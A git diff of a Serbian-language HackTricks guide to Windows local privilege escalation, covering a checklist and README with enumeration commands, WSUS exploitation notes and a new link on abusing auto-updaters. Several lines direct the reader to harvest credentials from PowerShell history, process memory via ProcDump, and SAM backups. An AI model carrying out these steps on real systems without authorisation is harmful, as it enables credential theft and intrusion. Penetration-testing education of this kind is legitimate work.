diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 343cdd455..9a62d47c5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -236,6 +236,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index d76028341..ad93a7392 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,114 +1,115 @@ -# Lista - Lokalna eskalacija privilegija na Windows-u +# Kontrolna lista - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Najbolji alat za pronalaženje vektora lokalne eskalacije privilegija na Windows-u:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najbolji alat za traženje Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Informacije o sistemu](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Pribavite [**informacije o sistemu**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Pretražujte **kernel** [**eksploite koristeći skripte**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Koristite **Google za pretragu** kernel **eksploita** -- [ ] Koristite **searchsploit za pretragu** kernel **eksploita** +- [ ] Pribavite [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Pretražite **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Koristite **Google to search** for kernel **exploits** +- [ ] Koristite **searchsploit to search** for kernel **exploits** - [ ] Zanimljive informacije u [**env vars**](windows-local-privilege-escalation/index.html#environment)? -- [ ] Lozinke u [**PowerShell istoriji**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Zanimljive informacije u [**Internet podešavanjima**](windows-local-privilege-escalation/index.html#internet-settings)? -- [ ] [**Diskovi**](windows-local-privilege-escalation/index.html#drives)? -- [ ] [**WSUS eksploatacija**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] Lozinke u [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? +- [ ] Zanimljive informacije u [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Logovanje/AV enumeracija](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Proverite [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) i [**WEF** ](windows-local-privilege-escalation/index.html#wef) podešavanja +- [ ] Proverite [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)i [**WEF** ](windows-local-privilege-escalation/index.html#wef)settings - [ ] Proverite [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Proverite da li je [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktivan -- [ ] [**LSA zaštita**](windows-local-privilege-escalation/index.html#lsa-protection)? +- [ ] Proverite da li je [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)aktiviran +- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) -- [ ] [**Keširane kredencijale**](windows-local-privilege-escalation/index.html#cached-credentials)? +- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? - [ ] Proverite da li postoji neki [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) -- [ ] [**AppLocker politika**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? +- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) -- [ ] [**Korisničke privilegije**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Proverite [**trenutne** korisničke **privilegije**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Da li ste [**član neke privilegovane grupe**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Proverite da li imate [neki od ovih tokena aktiviranih](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Sesije korisnika**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Proverite [**korisničke domove**](windows-local-privilege-escalation/index.html#home-folders) (pristup?) -- [ ] Proverite [**Politiku lozinki**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Šta je [**unutar Clipboard-a**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Proverite [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Da li ste [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Proverite da li imate [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? +- [ ] Proverite[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (pristup?) +- [ ] Proverite [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) +- [ ] Šta je[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Mreža](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Proverite **trenutne** [**mrežne** **informacije**](windows-local-privilege-escalation/index.html#network) -- [ ] Proverite **sakrivene lokalne usluge** ograničene na spoljašnjost +- [ ] Proverite **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] Proverite skrivene lokalne servise ograničene na spolja -### [Pokrenuti procesi](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) -- [ ] Binarne datoteke procesa [**dozvole za datoteke i foldere**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) -- [ ] [**Rudarenje lozinki iz memorije**](windows-local-privilege-escalation/index.html#memory-password-mining) -- [ ] [**Neosigurane GUI aplikacije**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Ukrao kredencijale sa **zanimljivih procesa** putem `ProcDump.exe` ? (firefox, chrome, itd ...) +- [ ] Binarni fajlovi procesa [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] Ukradite kredencijale sa **interesting processes** pomoću `ProcDump.exe` ? (firefox, chrome, etc ...) -### [Usluge](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Možete li **modifikovati neku uslugu**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Možete li **modifikovati** **binarne** datoteke koje **izvršava** neka **usluga**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Možete li **modifikovati** **registru** bilo koje **usluge**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Možete li iskoristiti bilo koju **necitiranu uslugu** binarnu **putanju**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Možete li **modify any service**? (windows-local-privilege-escalation/index.html#permissions) +- [ ] Možete li **modify** the **binary** that is **executed** by any **service**? (windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] Možete li **modify** the **registry** of any **service**? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] Možete li iskoristiti bilo koji **unquoted service** binary **path**? (windows-local-privilege-escalation/index.html#unquoted-service-paths) -### [**Aplikacije**](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Pisanje** [**dozvola na instaliranim aplikacijama**](windows-local-privilege-escalation/index.html#write-permissions) -- [ ] [**Aplikacije pri pokretanju**](windows-local-privilege-escalation/index.html#run-at-startup) -- [ ] **Ranljive** [**drajvere**](windows-local-privilege-escalation/index.html#drivers) +- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) -- [ ] Možete li **pisati u bilo koju fasciklu unutar PATH-a**? -- [ ] Da li postoji neka poznata binarna datoteka usluge koja **pokušava da učita neku nepostojeću DLL**? -- [ ] Možete li **pisati** u bilo koju **fasciklu binarnih datoteka**? +- [ ] Možete li **write in any folder inside PATH**? +- [ ] Postoji li neki poznat service binary koji pokušava da učita neki nepostojeći DLL? +- [ ] Možete li **write** u bilo koji **binaries folder**? -### [Mreža](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Enumerišite mrežu (deljenja, interfejsi, rute, susedi, ...) -- [ ] Obratite posebnu pažnju na mrežne usluge koje slušaju na localhost (127.0.0.1) +- [ ] Enumerišite mrežu (shares, interfaces, routes, neighbours, ...) +- [ ] Obratite posebnu pažnju na network servise koji slušaju na localhost (127.0.0.1) -### [Windows kredencijali](windows-local-privilege-escalation/index.html#windows-credentials) +### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) -- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kredencijali -- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kredencijali koje možete koristiti? -- [ ] Zanimljive [**DPAPI kredencijale**](windows-local-privilege-escalation/index.html#dpapi)? -- [ ] Lozinke sa sačuvanih [**Wifi mreža**](windows-local-privilege-escalation/index.html#wifi)? -- [ ] Zanimljive informacije u [**sačuvanim RDP vezama**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? -- [ ] Lozinke u [**nedavno pokrenutim komandama**](windows-local-privilege-escalation/index.html#recently-run-commands)? -- [ ] [**Menadžer kredencijala za daljinsku radnu površinu**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) lozinke? -- [ ] [**AppCmd.exe** postoji](windows-local-privilege-escalation/index.html#appcmd-exe)? Kredencijali? +- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials koje biste mogli iskoristiti? +- [ ] Zanimljivi [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)? +- [ ] Lozinke sačuvanih [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)? +- [ ] Zanimljive informacije u [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)? +- [ ] Lozinke u [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)? +- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) lozinke? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? -### [Datoteke i registri (Kredencijali)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) +### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) -- [ ] **Putty:** [**Kredencijali**](windows-local-privilege-escalation/index.html#putty-creds) **i** [**SSH host ključevi**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) -- [ ] [**SSH ključevi u registru**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? -- [ ] Lozinke u [**nepridruženim datotekama**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Da li postoji neki [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup? -- [ ] [**Cloud kredencijali**](windows-local-privilege-escalation/index.html#cloud-credentials)? -- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) datoteka? -- [ ] [**Keširana GPP lozinka**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? -- [ ] Lozinka u [**IIS Web config datoteci**](windows-local-privilege-escalation/index.html#iis-web-config)? -- [ ] Zanimljive informacije u [**web** **logovima**](windows-local-privilege-escalation/index.html#logs)? -- [ ] Da li želite da [**tražite kredencijale**](windows-local-privilege-escalation/index.html#ask-for-credentials) od korisnika? -- [ ] Zanimljive [**datoteke unutar Korpe za otpatke**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? -- [ ] Druge [**registri koji sadrže kredencijale**](windows-local-privilege-escalation/index.html#inside-the-registry)? -- [ ] Unutar [**podataka pretraživača**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, istorija, obeleživači, ...)? -- [ ] [**Opšta pretraga lozinki**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) u datotekama i registru -- [ ] [**Alati**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) za automatsku pretragu lozinki +- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) +- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? +- [ ] Lozinke u [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? +- [ ] Bilo koji [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) fajl? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? +- [ ] Lozinka u [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)? +- [ ] Zanimljive informacije u [**web** **logs**](windows-local-privilege-escalation/index.html#logs)? +- [ ] Da li želite da [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) od korisnika? +- [ ] Zanimljivi [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)? +- [ ] Ostali [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)? +- [ ] Unutar [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)? +- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) u fajlovima i registry-ju +- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) za automatsko traženje lozinki -### [Procureni handleri](windows-local-privilege-escalation/index.html#leaked-handlers) +### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Da li imate pristup bilo kojem handleru procesa koji pokreće administrator? +- [ ] Imate li pristup bilo kojem handleru procesa koji je pokrenut od strane administratora? -### [Impersonacija klijenta cevi](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) +### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Proverite da li možete da to zloupotrebite +- [ ] Proverite da li možete da to iskoristite {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index bdde9bcbc..792cfd341 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Najbolji alat za pronalaženje vektora za Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najbolji alat za pronalaženje Windows local privilege escalation vektora:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Uvodna Windows teorija +## Osnovna Windows teorija ### Access Tokens @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Ako ne znate šta su integrity levels u Windows, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:** +**Ako ne znate šta su Integrity Levels u Windows-u, trebalo bi da pročitate sledeću stranicu pre nego što nastavite:** {{#ref}} integrity-levels.md {{#endref}} -## Windows bezbednosne kontrole +## Kontrole bezbednosti u Windows-u -U Windows-u postoje različite stvari koje vam mogu sprečiti da izvršite enumeraciju sistema, pokrenete izvršne fajlove ili čak otkriju vaše aktivnosti. Trebalo bi da pročitate sledeću stranicu i enumerišete sve ove odbrambene mehanizme pre početka enumeracije za privilege escalation: +Postoje različiti mehanizmi u Windows-u koji mogu **sprečiti da enumerišete sistem**, pokrenete izvršne fajlove ili čak **otkriju vaše aktivnosti**. Trebalo bi da **pročitate** sledeću **stranicu** i **enumerišete** sve ove **defense mechanisms** pre nego što započnete enumeraciju privilege escalation-a: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Informacije o sistemu +## System Info -### Enumeracija informacija o verziji +### Version info enumeration -Proverite da li Windows verzija ima neku poznatu ranjivost (proverite i primenjene ispravke). +Proverite da li Windows verzija ima poznate ranjivosti (proverite i koje su zakrpe primenjene). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,16 +59,16 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Version Exploits +### Eksploiti po verzijama -Ovaj [site](https://msrc.microsoft.com/update-guide/vulnerability) je koristan za traženje detaljnih informacija o Microsoft security vulnerabilities. Ova baza ima više od 4.700 security vulnerabilities, pokazujući **massive attack surface** koji Windows okruženje predstavlja. +Ovaj [sajt](https://msrc.microsoft.com/update-guide/vulnerability) je koristan za pretragu detaljnih informacija o Microsoft bezbednosnim ranjivostima. Ova baza ima više od 4.700 bezbednosnih ranjivosti, što pokazuje **ogromnu attack surface** koju predstavlja Windows okruženje. **Na sistemu** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(winpeas ima watson ugrađen)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ima watson ugrađen)_ **Lokalno sa informacijama o sistemu** @@ -81,9 +81,9 @@ Ovaj [site](https://msrc.microsoft.com/update-guide/vulnerability) je koristan z - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Environment +### Okruženje -Da li su neki credential/Juicy podaci sačuvani u env variables? +Ima li credential/Juicy info sačuvanih u env variables? ```bash set dir env: @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript fajlovi +### PowerShell transkript fajlovi -Možete saznati kako da ovo omogućite na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Možete saznati kako da ovo uključite na [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,34 +116,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -Detalji izvršavanja PowerShell pipeline-a se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda nisu zabeleženi. +Detalji izvršavanja PowerShell pipeline-a se zapisuju, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršenja i rezultati izlaza možda neće biti zabeleženi. -Da biste ovo omogućili, sledite uputstva u odeljku "Transcript files" dokumentacije, birajući **"Module Logging"** umesto **"Powershell Transcription"**. +Da biste to omogućili, sledite uputstva u odeljku "Transcript files" dokumentacije, i izaberite **"Module Logging"** umesto **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Da biste videli poslednjih 15 događaja iz Powershell logova, možete izvršiti: +Da biste prikazali poslednjih 15 događaja iz PowersShell logova, možete izvršiti: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Zabeležen je kompletan zapis aktivnosti i puni sadržaj izvršavanja skripte, čime se osigurava da je svaki blok koda dokumentovan tokom izvršavanja. Ovaj proces čuva sveobuhvatan audit trail svake aktivnosti, koristan za forensics i analizu malicioznog ponašanja. Dokumentovanjem sve aktivnosti u trenutku izvršavanja pružaju se detaljni uvidi u proces. +Snima se potpuni zapis aktivnosti i sadržaja pri izvršavanju skripte, osiguravajući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatan audit trail svake aktivnosti, koristan za forensics i analizu malicioznog ponašanja. Dokumentovanjem cele aktivnosti u trenutku izvršavanja pružaju se detaljni uvidi u proces. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Događaji zapisani za Script Block mogu se pronaći u Windows Event Viewer na putanji: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Da biste prikazali poslednjih 20 događaja, možete koristiti: +Zapisi događaja za Script Block mogu se pronaći u Windows Event Viewer-u na putanji: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Za prikaz poslednjih 20 događaja možete koristiti: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Postavke interneta +### Internet podešavanja ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Možete kompromitovati sistem ako se ažuriranja ne zahtevaju koristeći http**S**, već http. +Možete kompromitovati sistem ako se ažuriranja ne zahtevaju koristeći http**S** već http. -Počnite proverom da li mreža koristi non-SSL WSUS ažuriranja pokretanjem sledeće komande u cmd: +Počinjete proverom da li mreža koristi WSUS ažuriranje bez SSL-a tako što ćete u cmd pokrenuti sledeće: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ Ili sledeće u PowerShell-u: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Ako dobijete odgovor poput jednog od ovih: +Ako dobijete odgovor kao jedan od ovih: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -A ako je `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ili `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` jednako `1`. +I ako je `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ili `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` jednako `1`. -Onda, **it is exploitable.** Ako je poslednji registry jednak 0, tada će WSUS entry biti ignorisan. +Tada je **moguće izvršiti eksploataciju**. Ako je poslednja vrednost registra jednaka `0`, unos WSUS-a će biti ignorisan. -Da biste iskoristili ovu ranjivost možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. +Da biste iskoristili ove ranjivosti možete koristiti alate kao što su: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Ovo su MiTM weaponizovane exploit skripte za injektovanje 'lažnih' ažuriranja u non-SSL WSUS saobraćaj. Read the research here: @@ -195,25 +195,34 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basically, this is the flaw that this bug exploits: +U suštini, ovo je propust koji ovaj bag iskorišćava: -> Ako imamo mogućnost da izmenimo lokalni user proxy, i Windows Updates koristi proxy podešen u Internet Explorer’s settings, onda imamo mogućnost da lokalno pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem asset-u. +> Ako imamo mogućnost da izmenimo lokalni proxy korisnika, i Windows Updates koristi proxy konfigurisan u podešavanjima Internet Explorera, tada možemo pokrenuti [PyWSUS](https://github.com/GoSecure/pywsus) lokalno da presretnemo sopstveni saobraćaj i pokrenemo kod kao povišeni korisnik na našem sistemu. > -> Dodatno, pošto WSUS servis koristi podešavanja trenutnog korisnika, on će takođe koristiti njegov certificate store. Ako generišemo self-signed sertifikat za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u stanju da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-like mehanizme za implementaciju trust-on-first-use tip validacije sertifikata. Ako je prikazani sertifikat trusted od strane korisnika i ima ispravan hostname, biće prihvaćen od strane servisa. +> Nadalje, pošto WSUS servis koristi podešavanja trenutnog korisnika, koristiće i njegov certificate store. Ako generišemo self-signed sertifikat za WSUS hostname i dodamo taj sertifikat u certificate store trenutnog korisnika, bićemo u mogućnosti da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-slične mehanizme za implementaciju trust-on-first-use tip validacije sertifikata. Ako je prikazani sertifikat poverljiv za korisnika i ima ispravan hostname, biće prihvaćen od strane servisa. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (jednom kada bude dostupan). +You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kad bude dostupan). + +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Mnogi enterprise agenti izlažu localhost IPC površinu i privilegovani kanal za ažuriranje. Ako se enrollment može primorati na napadačev server i updater veruje rogue root CA ili ima slabe provere potpisivača, lokalni korisnik može isporučiti maliciozni MSI koji SYSTEM servis instalira. Pogledajte generalizovanu tehniku (baziranu na Netskope stAgentSvc lancu – CVE-2025-0309) ovde: + + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** 